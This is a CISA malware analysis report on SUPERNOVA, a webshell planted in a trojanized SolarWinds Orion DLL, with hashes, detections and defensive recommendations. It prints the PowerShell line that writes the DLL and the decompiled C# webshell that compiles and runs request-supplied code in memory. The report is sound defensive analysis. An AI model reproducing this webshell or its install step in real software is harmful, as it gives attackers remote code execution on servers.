Analysis Report

MAR-10319053-1.v2 - Supernova

Last Revised
Alert Code


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This report provides detailed analysis of several malicious artifacts, affecting the SolarWinds Orion product, which have been identified by the security company FireEye as SUPERNOVA. According to a SolarWinds advisory, SUPERNOVA is not embedded within the Orion platform as a supply chain attack; rather, it is placed by an attacker directly on a system that hosts SolarWinds Orion and is designed to appear as part of the SolarWinds product. CISA's assessment is that SUPERNOVA is not part of the SolarWinds supply chain attack described in Alert AA20-352A. See the section in Microsoft’s blog titled “Additional malware discovered” for more information.

This report describes the analysis of a PowerShell script that decodes and installs SUPERNOVA, a malicious webshell backdoor. SUPERNOVA is embedded in a trojanized version of the Solarwinds Orion Web Application module called “App_Web_logoimagehandler.ashx.b6031896.dll." The SUPERNOVA malware allows a remote operator to dynamically inject C# source code into a web portal provided via the SolarWinds software suite. The injected code is compiled and directly executed in memory.

For a downloadable copy of indicators of compromise (IOCs), see: MAR-10319053-1.v2.stix

Submitted Files (2)

290951fcc76b497f13dcb756883be3377cd3a4692e51350c92cac157fc87e515 (1.ps1)

c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71 (App_Web_logoimagehandler.ashx....)





Name 1.ps1
Size 10609 bytes
Type ASCII text, with very long lines
MD5 4423a4353a0e7972090413deb40d56ad
SHA1 8004d78e6934efb4dea8baf48a589c2c1ed10bf3
SHA256 290951fcc76b497f13dcb756883be3377cd3a4692e51350c92cac157fc87e515
SHA512 5d2dee3c8e4c6a4fa1d84e434ab0b864245fae51360e03ed7338c2b40d7c1d61aad755f8c54615197100dd3b8bfd00d33b256178123002b7c07779c257fa13db
ssdeep 192:9x2OrPgH8XWECNsW4IX4SLY0tqIeZ9StIGca/HjKxnlyImIwN:Fr28XWECNsbIX4SLY0BeZ9StI9OHjMlw
Entropy 4.457683
Microsoft Security Essentials Trojan:MSIL/Solorigate.G!dha
YARA Rules

No matches found.

ssdeep Matches

No matches found.

290951fcc7... Contains c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71

This file is an event log that details the execution of a PowerShell script designed to Base64 decode and install a 32-bit .NET dynamic-link library (DLL) into the following location: "C:\inetpub\SolarWinds\bin\App_Web_logoimagehandler.ashx.b6031896.dll (c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71). The DLL is patched with the SUPERNOVA webshell and is a replacement for a legitimate SolarWinds DLL.

Displayed below is a portion of the event log with the victim information redacted. It indicates the malicious PowerShell was executed by the legitimate SolarWinds application "E:\Program Files (x86)\SolarWinds\Orion\SolarWinds.BusinessLayerHost.exe."

--Begin event log--
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\";$f=\"C:\inetpub\SolarWinds\bin\App_Web_logoimagehandler.ashx.b6031896.dll\";$bs=[Convert]::FromBase64String($b);[IO.File]::WriteAllBytes($f $bs)' 'S-1-0-0' '-' '-' '0x0000000000000000' 'E:\Program Files (x86)\SolarWinds\Orion\SolarWinds.BusinessLayerHost.exe' 'S-1-16-16384'] Computer Name: [redacted].[redacted].net Record Number: 12551353 Event Level: 0
--End event log--




Name App_Web_logoimagehandler.ashx.b6031896.dll
Size 7680 bytes
Type PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 56ceb6d0011d87b6e4d7023d7ef85676
SHA1 75af292f34789a1c782ea36c7127bf6106f595e8
SHA256 c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71
SHA512 f7eac6ab99fe45ca46417cdca36ba27560d5f8a2f37f378ba97636662595d55fa34f749716971aa96a862e37e0199eb6cb905636e6ab0123cfa089adba450629
ssdeep 192:8/SqRzbt0GBDawA5uT8wSlyDDGTBNFkQ:8/SyHKGBDax5uThDD6BNr
Entropy 4.622450
Ahnlab Backdoor/Win32.SunBurst
Antiy Trojan/MSIL.Agent
Avira TR/Sunburst.BR
BitDefender Trojan.Supernova.A
Clamav Win.Countermeasure.SUPERNOVA-9808999-1
Comodo Backdoor
Cyren W32/Supernova.GYFL-6114
ESET a variant of MSIL/SunBurst.A trojan
Emsisoft Trojan.Supernova.A (B)
Ikarus Backdoor.Sunburst
K7 Trojan ( 00574a531 )
Lavasoft Trojan.Supernova.A
McAfee Trojan-sunburst
Microsoft Security Essentials Trojan:MSIL/Solorigate.G!dha
NANOAV Trojan.Win32.Sunburst.iduxaq
Quick Heal Backdoor.Sunburst
Sophos Mal/Sunburst-B
Symantec Backdoor.SuperNova
Systweak trojan-backdoor.sunburst-r
TrendMicro Trojan.59AF4B5F
TrendMicro House Call Trojan.59AF4B5F
VirusBlokAda TScope.Trojan.MSIL
Zillya! Trojan.SunBurst.Win32.3
YARA Rules

No matches found.

ssdeep Matches
100 5976f9a3f7dcd2c124f1664003a1bb607bc22abc2c95abe5ecd645a5dbfe2c6c
PE Metadata
Compile Date 2020-03-24 05:16:10-04:00
Import Hash dae02f32a21e03ce65412f6e56942daa
Company Name None
File Description  
Internal Name App_Web_logoimagehandler.ashx.b6031896.dll
Legal Copyright  
Original Filename App_Web_logoimagehandler.ashx.b6031896.dll
Product Name None
Product Version
PE Sections
MD5 Name Raw Size Entropy
21556dbcb227ba907e33b0847b427ef4 header 512 2.597488
9002a963c87901397a986c3333d09627 .text 5632 5.285309
78888431b10a2bf283387437a750bca3 .rsrc 1024 2.583328
45ded0a8dacde15cb402adfe11b0fe3e .reloc 512 0.081539
Microsoft Visual C# / Basic .NET
c15abaf51e... Contained_Within 290951fcc76b497f13dcb756883be3377cd3a4692e51350c92cac157fc87e515

This file is a 32-bit .NET DLL that has been identified as a modified SolarWinds plug-in. The malware patched into this plug-in has been identified as SUPERNOVA. The modification includes the "DynamicRun" export function which is designed to accept and parse provided arguments. The arguments are expected to partially contain C# code, which the function will compile and execute directly in system memory. The purpose of this malware indicates the attacker has identified a vulnerability allowing the ability to dynamically provide a custom "HttpContext" data structure to the web application’s "ProcessRequest" function.

The ProcessRequest function takes an HttpContext Data structure as an argument. It parses portions of the request substructure of the parent HttpContext data structure using the keys “codes”, “clazz”, “method”, and “args”. The parsed data is placed in the respective variables codes, clazz, method, and args. These four variables are then provided as arguments to the DynamicRun function described next.

The "DynamicRun" function is designed to accept C# code and then dynamically compile and execute it. The "codes" variable provided to the function contains the actual C# code. The "clazz" variable provides the class name that is used when compiling the source code. The "method" variable will contain the function name that will be called for the newly compiled class. The "args" variable will contain the arguments provided to the executed malicious class.

After parsing out and executing the provided code, the "ProcessRequest" function will continue on to call a function named "WebSettingsDAL.get_NewNOCSiteLogo." Analysis indicates this is a valid SolarWinds function designed to render the product logo on a web application.

--Begin ProcessRequest Function--
public void ProcessRequest(HttpContext context)
    string codes = context.Request["codes"];
    string clazz = context.Request["clazz"];
    string method = context.Request["method"];
    string[] args = context.Request["args"].Split('\n');
    context.Response.ContentType = "text/plain";
    context.Response.Write(this.DynamicRun(codes, clazz, method, args));
   catch (Exception ex)
   NameValueCollection queryString = HttpUtility.ParseQueryString(context.Request.Url.Query);
    string str1 = queryString["id"];
    string s;
    if (!(str1 == "SitelogoImage"))
       if (!(str1 == "SiteNoclogoImage"))
        throw new ArgumentOutOfRangeException(queryString["id"]);
       s = WebSettingsDAL.get_NewNOCSiteLogo();
       s = WebSettingsDAL.get_NewSiteLogo();
    byte[] buffer = Convert.FromBase64String(s);
    if ((buffer == null || buffer.Length == 0) && File.Exists(HttpContext.Current.Server.MapPath("//NetPerfMon//images//NoLogo.gif")))
       buffer = File.ReadAllBytes(HttpContext.Current.Server.MapPath("//NetPerfMon//images//NoLogo.gif"));
    string str2 = buffer.Length < 2 || buffer[0] != byte.MaxValue || buffer[1] != (byte) 216 ? (buffer.Length < 3 || buffer[0] != (byte) 71 || (buffer[1] != (byte) 73 || buffer[2] != (byte) 70) ? (buffer.Length < 8 || buffer[0] != (byte) 137 || (buffer[1] != (byte) 80 || buffer[2] != (byte) 78) || (buffer[3] != (byte) 71 || buffer[4] != (byte) 13 || (buffer[5] != (byte) 10 || buffer[6] != (byte) 26)) || buffer[7] != (byte) 10 ? "image/jpeg" : "image/png") : "image/gif") : "image/jpeg";
    context.Response.OutputStream.Write(buffer, 0, buffer.Length);
    context.Response.ContentType = str2;
    context.Response.StatusDescription = "OK";
    context.Response.StatusCode = 200;
   catch (Exception ex)
    LogoImageHandler._log.Error((object) "Unexpected error trying to provide logo image for the page.", ex);
   context.Response.StatusDescription = "NO IMAGE";
   context.Response.StatusCode = 500;
--End ProcessRequest Function--

--Begin DynamicRun Function--
public string DynamicRun(string codes, string clazz, string method, string[] args)
   ICodeCompiler compiler = new CSharpCodeProvider().CreateCompiler();
   CompilerParameters options = new CompilerParameters();
   options.GenerateExecutable = false;
   options.GenerateInMemory = true;
   string source = codes;
   CompilerResults compilerResults = compiler.CompileAssemblyFromSource(options, source);
   if (compilerResults.Errors.HasErrors)
    // ISSUE: reference to a compiler-generated field
    // ISSUE: reference to a compiler-generated field
    // ISSUE: reference to a compiler-generated field
    // ISSUE: method pointer
    string.Join(Environment.NewLine, (IEnumerable<string>) Enumerable.Select<CompilerError, string>((IEnumerable<M0>) compilerResults.Errors.Cast<CompilerError>(), (Func<M0, M1>) (LogoImageHandler.\u003C\u003Ec.\u003C\u003E9__3_0 ?? (LogoImageHandler.\u003C\u003Ec.\u003C\u003E9__3_0 = new Func<CompilerError, string>((object) LogoImageHandler.\u003C\u003Ec.\u003C\u003E9, __methodptr(\u003CDynamicRun\u003Eb__3_0))))));
    return compilerResults.Errors.ToString();
   object instance = compilerResults.CompiledAssembly.CreateInstance(clazz);
   return (string) instance.GetType().GetMethod(method).Invoke(instance, (object[]) args);
--End DynamicRun Function--


Figure 1 -

Figure 1 -

Relationship Summary

290951fcc7... Contains c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71
c15abaf51e... Contained_Within 290951fcc76b497f13dcb756883be3377cd3a4692e51350c92cac157fc87e515


CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
  • Monitor users' web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

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January 27, 2021: Initial Version|November 17, 2021: Removed a file that was determined to be a legitimate SolarWinds file

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